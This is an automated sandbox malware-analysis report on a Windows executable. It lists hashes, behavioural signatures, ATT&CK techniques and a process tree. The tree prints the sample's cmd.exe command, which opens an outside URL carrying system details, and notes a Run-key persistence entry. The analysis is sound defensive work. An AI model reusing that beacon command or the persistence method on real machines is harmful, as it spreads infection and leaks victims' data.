de2f686de0313bbcd1778f1ac88d8f93a07a68546b8c390edf42b5b2102f060c

Analysis

max time kernel
151s
max time network
154s
platform
windows10-2004_x64
resource
win10v2004-20220812-en
resource tags

arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
submitted
27/11/2022, 15:45

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General

Target

de2f686de0313bbcd1778f1ac88d8f93a07a68546b8c390edf42b5b2102f060c.exe
Size

143KB
MD5

abb8f2971f4b71720b7033c4ca4ec792
SHA1

de5b6bb19420c35e54cc578f3ecb36933a721bef
SHA256

de2f686de0313bbcd1778f1ac88d8f93a07a68546b8c390edf42b5b2102f060c
SHA512

80760c28aff9f130e59374313fa524f66a20a853bd4505b01f1e483f663053a7ba0467cc4a934b6af7590afb244ada4e96789cbf17d70f913f20c03b2cb3031b
SSDEEP

3072:iN6ZekwVJIlgps5q9Eb648qwlS/+TfQO45Dw7:pe9IB83ID5U7

Score

7^/10

persistence

Malware Config

Signatures

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Control Panel\International\Geo\Nation	de2f686de0313bbcd1778f1ac88d8f93a07a68546b8c390edf42b5b2102f060c.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Software\Microsoft\Windows\CurrentVersion\Run	msedge.exe

Drops file in Program Files directory 2 IoCs

description	ioc	Process
File created	C:\Program Files (x86)\Microsoft\Edge\Application\SetupMetrics\df7531d1-a058-4b2a-af3e-f108ece8261e.tmp	setup.exe
File opened for modification	C:\Program Files (x86)\Microsoft\Edge\Application\SetupMetrics\20221128145944.pma	setup.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	msedge.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
1988	msedge.exe
1988	msedge.exe
1180	msedge.exe
1180	msedge.exe
3412	identity_helper.exe
3412	identity_helper.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 5 IoCs

pid	Process
1180	msedge.exe
1180	msedge.exe
1180	msedge.exe
1180	msedge.exe
1180	msedge.exe

Suspicious use of FindShellTrayWindow 4 IoCs

pid	Process
1388	de2f686de0313bbcd1778f1ac88d8f93a07a68546b8c390edf42b5b2102f060c.exe
1180	msedge.exe
1180	msedge.exe
1180	msedge.exe

Suspicious use of SendNotifyMessage 1 IoCs

pid	Process
1388	de2f686de0313bbcd1778f1ac88d8f93a07a68546b8c390edf42b5b2102f060c.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1388 wrote to memory of 4628	1388	de2f686de0313bbcd1778f1ac88d8f93a07a68546b8c390edf42b5b2102f060c.exe	82
PID 1388 wrote to memory of 4628	1388	de2f686de0313bbcd1778f1ac88d8f93a07a68546b8c390edf42b5b2102f060c.exe	82
PID 1388 wrote to memory of 4628	1388	de2f686de0313bbcd1778f1ac88d8f93a07a68546b8c390edf42b5b2102f060c.exe	82
PID 4628 wrote to memory of 1180	4628	cmd.exe	84
PID 4628 wrote to memory of 1180	4628	cmd.exe	84
PID 1180 wrote to memory of 4044	1180	msedge.exe	86
PID 1180 wrote to memory of 4044	1180	msedge.exe	86
PID 1180 wrote to memory of 2832	1180	msedge.exe	89
PID 1180 wrote to memory of 2832	1180	msedge.exe	89
PID 1180 wrote to memory of 2832	1180	msedge.exe	89
PID 1180 wrote to memory of 2832	1180	msedge.exe	89
PID 1180 wrote to memory of 2832	1180	msedge.exe	89
PID 1180 wrote to memory of 2832	1180	msedge.exe	89
PID 1180 wrote to memory of 2832	1180	msedge.exe	89
PID 1180 wrote to memory of 2832	1180	msedge.exe	89
PID 1180 wrote to memory of 2832	1180	msedge.exe	89
PID 1180 wrote to memory of 2832	1180	msedge.exe	89
PID 1180 wrote to memory of 2832	1180	msedge.exe	89
PID 1180 wrote to memory of 2832	1180	msedge.exe	89
PID 1180 wrote to memory of 2832	1180	msedge.exe	89
PID 1180 wrote to memory of 2832	1180	msedge.exe	89
PID 1180 wrote to memory of 2832	1180	msedge.exe	89
PID 1180 wrote to memory of 2832	1180	msedge.exe	89
PID 1180 wrote to memory of 2832	1180	msedge.exe	89
PID 1180 wrote to memory of 2832	1180	msedge.exe	89
PID 1180 wrote to memory of 2832	1180	msedge.exe	89
PID 1180 wrote to memory of 2832	1180	msedge.exe	89
PID 1180 wrote to memory of 2832	1180	msedge.exe	89
PID 1180 wrote to memory of 2832	1180	msedge.exe	89
PID 1180 wrote to memory of 2832	1180	msedge.exe	89
PID 1180 wrote to memory of 2832	1180	msedge.exe	89
PID 1180 wrote to memory of 2832	1180	msedge.exe	89
PID 1180 wrote to memory of 2832	1180	msedge.exe	89
PID 1180 wrote to memory of 2832	1180	msedge.exe	89
PID 1180 wrote to memory of 2832	1180	msedge.exe	89
PID 1180 wrote to memory of 2832	1180	msedge.exe	89
PID 1180 wrote to memory of 2832	1180	msedge.exe	89
PID 1180 wrote to memory of 2832	1180	msedge.exe	89
PID 1180 wrote to memory of 2832	1180	msedge.exe	89
PID 1180 wrote to memory of 2832	1180	msedge.exe	89
PID 1180 wrote to memory of 2832	1180	msedge.exe	89
PID 1180 wrote to memory of 2832	1180	msedge.exe	89
PID 1180 wrote to memory of 2832	1180	msedge.exe	89
PID 1180 wrote to memory of 2832	1180	msedge.exe	89
PID 1180 wrote to memory of 2832	1180	msedge.exe	89
PID 1180 wrote to memory of 2832	1180	msedge.exe	89
PID 1180 wrote to memory of 2832	1180	msedge.exe	89
PID 1180 wrote to memory of 1988	1180	msedge.exe	90
PID 1180 wrote to memory of 1988	1180	msedge.exe	90
PID 1180 wrote to memory of 1268	1180	msedge.exe	92
PID 1180 wrote to memory of 1268	1180	msedge.exe	92
PID 1180 wrote to memory of 1268	1180	msedge.exe	92
PID 1180 wrote to memory of 1268	1180	msedge.exe	92
PID 1180 wrote to memory of 1268	1180	msedge.exe	92
PID 1180 wrote to memory of 1268	1180	msedge.exe	92
PID 1180 wrote to memory of 1268	1180	msedge.exe	92
PID 1180 wrote to memory of 1268	1180	msedge.exe	92
PID 1180 wrote to memory of 1268	1180	msedge.exe	92
PID 1180 wrote to memory of 1268	1180	msedge.exe	92
PID 1180 wrote to memory of 1268	1180	msedge.exe	92
PID 1180 wrote to memory of 1268	1180	msedge.exe	92
PID 1180 wrote to memory of 1268	1180	msedge.exe	92
PID 1180 wrote to memory of 1268	1180	msedge.exe	92
PID 1180 wrote to memory of 1268	1180	msedge.exe	92

C:\Users\Admin\AppData\Local\Temp\de2f686de0313bbcd1778f1ac88d8f93a07a68546b8c390edf42b5b2102f060c.exe
"C:\Users\Admin\AppData\Local\Temp\de2f686de0313bbcd1778f1ac88d8f93a07a68546b8c390edf42b5b2102f060c.exe"
1⤵
- Checks computer location settings
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:1388
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c "start http://securedfileinfo.com/404.jsp?chid=5301121^&rsn=plde^&details=^|v6.2.9200x64sp0.0ws^|tt31^|dt0^|dc100^|fs-2^|dh0^|ec13^|se12007^|dr4^|ds0^|rs0^|p1"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4628
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument http://securedfileinfo.com/404.jsp?chid=5301121&rsn=plde&details=|v6.2.9200x64sp0.0ws|tt31|dt0|dc100|fs-2|dh0|ec13|se12007|dr4|ds0|rs0|p1
    3⤵
    - Adds Run key to start application
    - Enumerates system info in registry
    - Modifies registry class
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of WriteProcessMemory
    PID:1180
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x11c,0x120,0x124,0xf8,0x128,0x7ffea70246f8,0x7ffea7024708,0x7ffea7024718
      4⤵
      PID:4044
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2200,10590521398327664146,17321737736789629115,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2248 /prefetch:2
      4⤵
      PID:2832
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2200,10590521398327664146,17321737736789629115,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2300 /prefetch:3
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:1988
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2200,10590521398327664146,17321737736789629115,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2800 /prefetch:8
      4⤵
      PID:1268
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2200,10590521398327664146,17321737736789629115,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3368 /prefetch:1
      4⤵
      PID:4644
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2200,10590521398327664146,17321737736789629115,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3380 /prefetch:1
      4⤵
      PID:3956
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=2200,10590521398327664146,17321737736789629115,131072 --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=4956 /prefetch:8
      4⤵
      PID:820
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2200,10590521398327664146,17321737736789629115,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5396 /prefetch:1
      4⤵
      PID:1584
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=2200,10590521398327664146,17321737736789629115,131072 --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=6008 /prefetch:8
      4⤵
      PID:376
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2200,10590521398327664146,17321737736789629115,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6016 /prefetch:1
      4⤵
      PID:4460
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2200,10590521398327664146,17321737736789629115,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6116 /prefetch:1
      4⤵
      PID:3444
  - - C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2200,10590521398327664146,17321737736789629115,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=6376 /prefetch:8
      4⤵
      PID:4264
  - - C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\Installer\setup.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\Installer\setup.exe" --configure-user-settings --verbose-logging --system-level --msedge --force-configure-user-settings
      4⤵
      Drops file in Program Files directory
      PID:2264
    - - C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\Installer\setup.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\Installer\setup.exe" --type=crashpad-handler /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Windows\TEMP\MsEdgeCrashpad --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\Installer\setup.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x23c,0x240,0x244,0x218,0x248,0x7ff7a0675460,0x7ff7a0675470,0x7ff7a0675480
        5⤵
        
        PID:3752
  - - C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2200,10590521398327664146,17321737736789629115,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=6376 /prefetch:8
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:3412

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:1308

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Windows 7 deprecation

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Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

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Downloads